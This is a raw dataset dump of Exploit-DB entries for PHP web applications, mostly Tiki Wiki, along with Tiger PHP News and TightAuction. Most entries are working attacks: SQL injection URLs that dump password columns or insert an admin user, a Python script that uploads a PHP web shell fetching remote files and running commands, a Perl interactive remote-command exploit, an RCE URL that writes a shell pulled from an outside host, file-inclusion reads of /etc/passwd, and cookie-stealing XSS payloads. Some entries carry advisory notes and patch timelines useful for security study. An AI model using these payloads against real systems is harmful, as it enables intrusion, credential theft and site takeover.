deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4984
Description: Tiger PHP News System 1.0b build 39 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-25
Author: 0in

Exploit:
/*
 *Tiger PHP News System SQL Injection
 *Bug found bY 0in from DaRk-Coders Group!
 *Homepage: http://dark-coders.4rh.eu or http://dark-coders.prv.pl
 *IRC:#dark-coders at irc.freenode.org
 *Email: 0in(dot)email(at)gmail(dot)com
*/

 Script home: http://tpns.k-na.se/
 Exploit: http://localhost/?page=newscat&catid=-666%20union%20select%20passwd%20from%20user

 Greetings to:All Dark-Coders Team Members - Die-Angel,m4r1usz,suN8Hclf,Djlinux,
 Aristo89

# milw0rm.com [2008-01-25]
Exploit-DB #41291
Description: Tiger Post 3.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Tiger Post - Facebook Auto Post Multi Pages/Groups/Profiles  v3.0.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://vtcreators.com/
# Software Buy: https://codecanyon.net/item/tiger-post-facebook-auto-post-multi-pagesgroupsprofiles/15279075
# Demo: http://demo.vtcreators.com/tigerpost/
# Version: 3.0.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php/user_management/update?id=[SQL]
# -999'+/*!50000union*/+select+1,2,3,4,group_concat(email,char(58),password),0x496873616e2053656e63616e,7,8,9,10,11,12+from+user_management-- -
# Etc...
# # # # #
Exploit-DB #21893
Description: TightAuction 3.0 - Config.INC Information Disclosure
Type: webapps
Platform: php
Date: 2002-10-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5850/info

TightAuction is prone to an information disclosure vulnerability. The configuration file (config.inc) contains sensitive information such as database authentication credentials. It is possible for remote attackers to retrieve this file via a web request, and since the file does not have the correct extension (.inc.php) the contents will be rendered in a web browser instead of interpreted.


<?
$victime="http://[target]";
include("$victime/config.inc");
print("Infos de la DataBase du site $victime : \n \n");
print("Login : $DB_Username \nPassword : $DB_Password \nServer :
$DB_Database");
?>
Exploit-DB #40053
Description: Tiki Wiki 15.1 - File Upload
Type: webapps
Platform: php
Date: 2016-07-07
Author: Ivan Ivanovic

Exploit:
#!/usr/bin/python 
# недействительный 31337 Team
# p4yl04d = https://bethebeast.pl/?p=953    [[::ch4n6e 1p::]]

import requests
import json
from requests.auth import HTTPBasicAuth

url = 'http://192.168.1.152:8080/tiki/vendor_extra/elfinder/php/connector.minimal.php'

headers = {
    'Host': '192.168.1.152:8080',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
    'Content-Type': 'multipart/form-data; boundary=_Part_1337'
}

payload = (
    '--_Part_1337\n'
    'Content-Disposition: form-data; name="cmd"\n\n'
    'upload\n'
    '--_Part_1337\n'
    'Content-Disposition: form-data; name="target"\n\n'
    'l1_Lw\n'
    '--_Part_1337\n'
    'Content-Disposition: form-data; name="upload[]"; filename="evil.php"\n'
    'Content-Type: application/octet-stream)\n\n'
    '/*<?php /**/ error_reporting(0); if (isset($_REQUEST["fupload"])) { file_put_contents($_REQUEST["fupload"], file_get_contents("http://192.168.1.10/" . $_REQUEST["fupload"]));};if (isset($_REQUEST["fexec"])) { echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";};\n'
    '--_Part_1337--\n'
    )

# If your target uses authentication then use: 
# upload = requests.post(url, headers=headers, data=payload, auth=('admin', 'admin'))
upload = requests.post(url, headers=headers, data=payload)
Exploit-DB #40080
Description: Tiki Wiki CMS 15.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2016-07-11
Author: Kacper Szurek

Exploit:
# Exploit Title: Tiki Wiki CMS 15.0 Arbitrary File Download
# Date: 11-07-2016
# Software Link: https://tiki.org
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

Using `flv_stream.php` file from `vendor` directory we can download any file.

http://security.szurek.pl/tiki-wiki-cms-150-arbitrary-file-download.html

File: tiki-15.0\vendor\player\flv\flv_stream.php

<?php
session_cache_limiter('nocache');
header('Expires: Thu, 19 Nov 1981 08:52:00 GMT');
header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
header('Pragma: no-cache');

$position = $_GET['position'];
$filename = dirname(__FILE__).'/'.htmlspecialchars($_GET['file']);


if (file_exists($filename)) {
	header('Content-Type: video/x-flv');
	if ($position != 0) {
		echo 'FLV', pack('CCNN', 1, 1, 9, 9);
	}
	$file = fopen($filename, "rb");
	fseek($file, $position);
	while (!feof($file)) {
		echo fread($file, 16384);
	}
	fclose($file);
} else {
	echo 'The file does not exist';
}
?>

2. Proof of Concept

Example for downloading database configuration:

http://tiki/vendor/player/flv/flv_stream.php?file=../../../db/local.php&position=0

3. Solution:
   
Update to version 15.1

Timeline:

    01-06-2016: Discovered
    01-06-2016: Vendor notified
    08-06-2016: Version 15.1 released, issue resolved
Exploit-DB #39965
Description: Tiki Wiki CMS Calendar 6.15/9.11 LTS/12.5 LTS/14.2 - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-06-16
Author: Dany Ouellet

Exploit:
# Exploit Title: Tiki-Calendar-RCE
# Google Dork: inurl:tiki-calendar.php
# Date: 2015-12-16
# Exploit Author: Dany Ouellet
# Vendor Homepage: https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
# Software Link: https://tiki.org/Download
# Version: ALL supported versions of Tiki (14.2, 12.5 LTS, 9.11 LTS and 6.15)(if not patched)
# Tested on: Windows and Linux

Hi, I recently discover an important flaw in CMS Tiki-Wiki. I reported the
vulnerability directly to vendor and a patch is now avalaible. So I release
the exploit. ;)

PoC:

Validate the vulnerability:

http://victimesite/tiki-calendar.php?viewmode=';print(TikiWikiRCE);$a='

Write or deface the site:

http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen(%22index6.php%22,%27w%27);%20fwrite($z,(%22TikiWikiRCE%22));fclose($z);$a=%27

Execute a php shellcode:

http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackersite.com/r57.txt%22%29%29;fclose%28$z%29;%27
Exploit-DB #36848
Description: Tiki Wiki CMS Groupware - 'url' Open Redirection
Type: webapps
Platform: php
Date: 2012-02-18
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/52079/info

Tiki Wiki CMS Groupware is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible. 

http://www.example.com/tiki-featured_link.php?type=f&url=http://www.example2.com
Exploit-DB #15174
Description: Tiki Wiki CMS Groupware 5.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-01
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43507/info

Tiki Wiki CMS Groupware is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The following applications are vulnerable; other versions may also be affected.

1. Tiki Wiki CMS Groupware 5.2 is vulnerable
2. Tiki Wiki CMS Groupware prior to 3.8

The following example URIs are available:

Local file Include:

http://www.example.com/tiki-5.2/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini

Cross Site Scripting:

http://www.example.com/tiki-5.2/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #35974
Description: Tiki Wiki CMS Groupware 7.2 - 'snarf_ajax.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-07-20
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48806/info

Tiki Wiki CMS Groupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Tiki Wiki CMS Groupware 7.0 is vulnerable; other versions may also be affected. 

http://www.example.com/snarf_ajax.php?url=1&ajax=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #36470
Description: Tiki Wiki CMS Groupware 8.1 - 'show_errors' HTML Injection
Type: webapps
Platform: php
Date: 2011-12-20
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/51128/info

Tiki Wiki CMS Groupware is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

Tested with Firefox 7.01

Visit this URL

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site

But when you visit one of this pages, the XSS will be executed

http://www.example.com/tiki-8.1/tiki-login.php
http://www.example.com/tiki-8.1/tiki-remind_password.php

// browser source code

show_errors: &#039;y&#039;,
		xss: &#039;</style></script><script>alert(document.cookie)</script>&#039;
};

Another example:

http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://www.example.com/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>

All of them will be executed!

// browser source code

show_errors: &#039;y&#039;,
	xss1: &#039;</style></script><script>alert(document.cookie)</script>&#039;,
	xss2: &#039;</style></script><script>alert(document.cookie)</script>&#039;,
	xss3: &#039;</style></script><script>alert(document.cookie)</script>&#039;
};
Exploit-DB #18265
Description: Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection
Type: webapps
Platform: php
Date: 2011-12-22
Author: EgiX

Exploit:
  -------------------------------------------------------------------------
  Tiki Wiki CMS Groupware <= 8.2 (snarf_ajax.php) Remote PHP Code Injection
  -------------------------------------------------------------------------
  
  author...........: Egidio Romano aka EgiX
  mail.............: n0b0d13s[at]gmail[dot]com
  software link....: http://info.tiki.org/
  
  
  [-] Vulnerability explanation:
  
  The vulnerable code is located into /lib/wiki-plugins/wikiplugin_snarf.php:
  
  170.   // If the user specified a more specialized regex
  171.   if ( isset($params['regex']) && isset($params['regexres']) && preg_match('/^(.)(.)+\1[^e]*$/', $params['regex']) ) {
  172.      $snarf = preg_replace( $params['regex'], $params['regexres'], $snarf );
  173.   }
  
  input passed through $_REQUEST['regex'] is checked by a regular expression at line 171 to prevent
  execution of arbitrary PHP code using the  'e'  modifier in a call to preg_replace() at line 172.
  But  this  check  could  be  bypassed  with a  null byte injection,  requesting an URL like this:
  
   http://<hostname>/tiki-8.2/snarf_ajax.php?url=1&regexres=phpinfo()&regex=//e%00/
  
  Tiki internal filters remove  all null bytes  from user input,  but for some strange reason  this
  doesn't  happen within admin sessions. So, successful exploitation of this vulnerability requires
  an user account with  administration  rights and  'PluginSnarf'  to be enabled  (not by default).
  
  
  [-] Disclosure timeline:
  
  [23/11/2011] - Vulnerability discovered
  [24/11/2011] - Issue reported to security(at)tikiwiki.org
  [24/11/2011] - New ticket opened: http://dev.tiki.org/item4059
  [27/11/2011] - Vendor confirmed the issue
  [27/11/2011] - CVE number requested
  [28/11/2011] - Assigned CVE-2011-4558
  [22/12/2011] - After four weeks still no fix released
  [23/12/2011] - Public disclosure
Exploit-DB #33726
Description: TikiWik < 4.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-09
Author: Mateusz Drygas

Exploit:
source: https://www.securityfocus.com/bid/38608/info

TikiWiki is prone to multiple vulnerabilities, including:

- An SQL-injection vulnerability
- An unspecified authentication-bypass vulnerability
- An unspecified vulnerability

Exploiting these issues could allow an attacker to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and gain unauthorized access to the affected application. Other attacks are also possible.

Versions prior to TikiWiki 4.2 are vulnerable.

http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_users(email,login,password,hash) VALUES ('','bad_guy','lsjfsofasgfs',md5('lsjfsofasgfslsjfsofasgfs'));;--&search=>>
http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_usergroups (`userId`, `groupName`) VALUES([user_id],'Admins');;--&search=>>
Exploit-DB #27917
Description: TikiWiki 1.9 - 'tiki-lastchanges.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-29
Author: Blwood

Exploit:
source: https://www.securityfocus.com/bid/18143/info

TikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/tiki/tiki-lastchanges.php?days="><scr<script>ipt>[code]</scr</script>ipt>>
Exploit-DB #26490
Description: TikiWiki 1.9 - 'Tiki-view_forum_thread.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-09
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/15371/info

TikiWiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 1.9.x up to and including 1.9.2 are affected; prior versions may also be affected. 

http://www.example.com/tiki-view_forum_thread.php?forumId=1&comments_parentId=0&topics_offset=10%22%20onmouseover='javascript:alert(document.title)%3B'%3E[PLEASE%20MO
VE%20YOUR%20MOUSE%20POINTER%20HERE!]%20%3Cx%20y=%22
Exploit-DB #2701
Description: TikiWiki 1.9.5 Sirius - 'sort_mode' Information Disclosure
Type: webapps
Platform: php
Date: 2006-11-01
Author: securfrog

Exploit:
/*==========================================*/
//tikiwiki version 1.9.5 (CVS) -Sirius-  (PoC)
// Product: Tikiwiki 
// URL: http://tikiwiki.org/
// RISK: critical
/*==========================================*/




there's a critical security bug in tikiwiki version 1.9.5 (CVS) -Sirius-
a anonymous user , can dump the mysql user & passwd just by creating a mysql error with the "sort_mode" var , with those following links :
/tiki-listpages.php?offset=0&sort_mode=
/tiki-lastchanges.php?days=1&offset=0&sort_mode=
/messu-archive.php?sort_mode=
/messu-mailbox.php?sort_mode=
/messu-sent.php?sort_mode=
/tiki-directory_add_site.php?sort_mode=
/tiki-directory_ranking.php?sort_mode=
/tiki-directory_search.php?sort_mode=
/tiki-forums.php?sort_mode=
/tiki-view_forum.php?forumId=
/tiki-friends.php?sort_mode=
/tiki-list_blogs.php?sort_mode=
/tiki-list_faqs.php?sort_mode=
/tiki-list_trackers.php?sort_mode=
/tiki-list_users.php?sort_mode=
/tiki-my_tiki.php?sort_mode=
/tiki-notepad_list.php?sort_mode=
/tiki-orphan_pages.php?sort_mode=
/tiki-shoutbox.php?sort_mode=
/tiki-usermenu.php?sort_mode=
/tiki-webmail_contacts.php?sort_mode=

a proof of concept is disponible here : http://cockor.free.fr/PoC.swf

there's also a xss here :
/tiki-featured_link.php?type=f&url=" ></iframe><scr</script>ipt>alert('XSS')</scri</script>pt> <!--

regards , securfrog 

# milw0rm.com [2006-11-01]
Exploit-DB #4525
Description: TikiWiki 1.9.8 - 'tiki-graph_formula.php' Command Execution
Type: webapps
Platform: php
Date: 2007-10-12
Author: str0ke

Exploit:
#!/usr/bin/perl
# TikiWiki <= 1.9.8 Remote Command Execution Exploit
#
# Description
# -----------
# TikiWiki contains a flaw that may allow a remote attacker to execute arbitrary commands. 
# The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input 
# supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP 
# commands resulting in a loss of integrity.
# -----------
# Vulnerability discovered by ShAnKaR <sec [at] shankar.antichat.ru>
#
# $Id: milw0rm_tikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;
my $command;

&exploit($target, "cat db/local.php", $proxy);

print "[?] php shell it?\n";
print "[*] wget http://www.youhost.com/yourshell.txt -O backups/shell.php\n";
print "[*] lynx " . $target . "/backups/shell.php\n\n";

while()
{
	print "tiki\# ";
	chomp($command = <STDIN>);
	exit unless $command;
	&exploit($target, $command, $proxy);
}

sub usage()
{
	print "[?] TikiWiki <= 1.9.8 Remote Command Execution Exploit\n";
	print "[?] str0ke <str0ke[!]milw0rm.com>\n";
	print "[?] usage: perl $0 [target]\n";
	print "    [target] (ex. http://127.0.0.1/tikiwiki)\n";
	print "    [proxy] (ex. 0.0.0.0:8080)\n";
	exit;
}

sub exploit()
{
	my($target, $command, $proxy) = @_;

	my $cmd = 'echo start_er;'.$command.';'.'echo end_er';
	
	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

	my $conn = LWP::UserAgent->new() or die;
	$conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
	$conn->proxy("http", "http://".$proxy."/") unless !$proxy;
	
	my $out=$conn->get($target."/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru($byte).die()&t=png&title=");

	if ($out->content =~ m/start_er(.*?)end_er/ms) {
		print $1 . "\n";
	} else { 
		print "[-] Exploit Failed\n";
		exit;
	}
}

# milw0rm.com [2007-10-12]
Exploit-DB #4509
Description: TikiWiki 1.9.8 - Remote PHP Injection
Type: webapps
Platform: php
Date: 2007-10-10
Author: ShAnKaR

Exploit:
TikiWiki 1.9.8 Remote PHP Injection Vulnerability

Example: http:/server/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=

# milw0rm.com [2007-10-10]
Exploit-DB #4568
Description: TikiWiki 1.9.8.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-25
Author: L4teral

Exploit:
======================================================================
TikiWiki <= 1.9.8.1 Local File Inclusion
======================================================================

Author:          L4teral <l4teral [4t] gmail com>
Impact:          Local File Inclusion
Status:          patch available


------------------------------
Affected software description:
------------------------------

Application:     TikiWiki
Version:         <= 1.9.8.1
Vendor:          http://tikiwiki.org

Description:
TikiWiki (Tiki) is your Groupware/CMS (Content Management System) solution.


--------------
Vulnerability:
--------------

1.
The script db/tiki-db.php is vulnerable to local file inclusion attacks.

2.
The script tiki-imexport_languages.php is vulnerable to local file inclusion attacks.


------------
PoC/Exploit:
------------

1.
register_globals required:
http://localhost/tikiwiki/tiki-index.php?error_handler_file=/etc/passwd
http://localhost/tikiwiki/tiki-index.php?local_php=/etc/passwd

2.
feature lang_use_db(use database for translation) must be activated:
URL: http://localhost/tikiwiki/tiki-imexport_languages.php
POSTDATA: imp_language=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&import=import


---------
Solution:
---------

update to 1.9.8.2 or above:
https://sourceforge.net/project/showfiles.php?group_id=64258&package_id=112134&release_id=549549

---------
Timeline:
---------

23.10.2007 - vendor informed
25.10.2007 - vendor released patch
25.10.2007 - public disclosure

# milw0rm.com [2007-10-25]
Exploit-DB #32852
Description: TikiWiki 2.2/3.0 - 'tiki-galleries.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-12
Author: iliz

Exploit:
source: https://www.securityfocus.com/bid/34105/info

TikiWiki is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

TikiWiki 2.2 through 3.0 beta1 are vulnerable.

http://www.example.com/tiki-galleries.php/>"><Script>alert(1)</scRipt>
Exploit-DB #32854
Description: TikiWiki 2.2/3.0 - 'tiki-listpages.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-12
Author: iliz

Exploit:
source: https://www.securityfocus.com/bid/34107/info

TikiWiki is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

TikiWiki 2.2 through 3.0 beta1 are vulnerable. 

http://www.example.com/tiki-listpages.php/>"><Script>alert(3)</scRipt>
Exploit-DB #32853
Description: TikiWiki 2.2/3.0 - 'tiki-list_file_gallery.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-12
Author: iliz

Exploit:
source: https://www.securityfocus.com/bid/34106/info

TikiWiki is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

TikiWiki 2.2 through 3.0 beta1 are vulnerable.

http://www.example.com/tiki-list_file_gallery.php/>"><Script>alert(2)</scRipt>
Exploit-DB #23952
Description: TikiWiki Project 1.8 - 'categorize.php' Direct Request Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
     
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=
tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=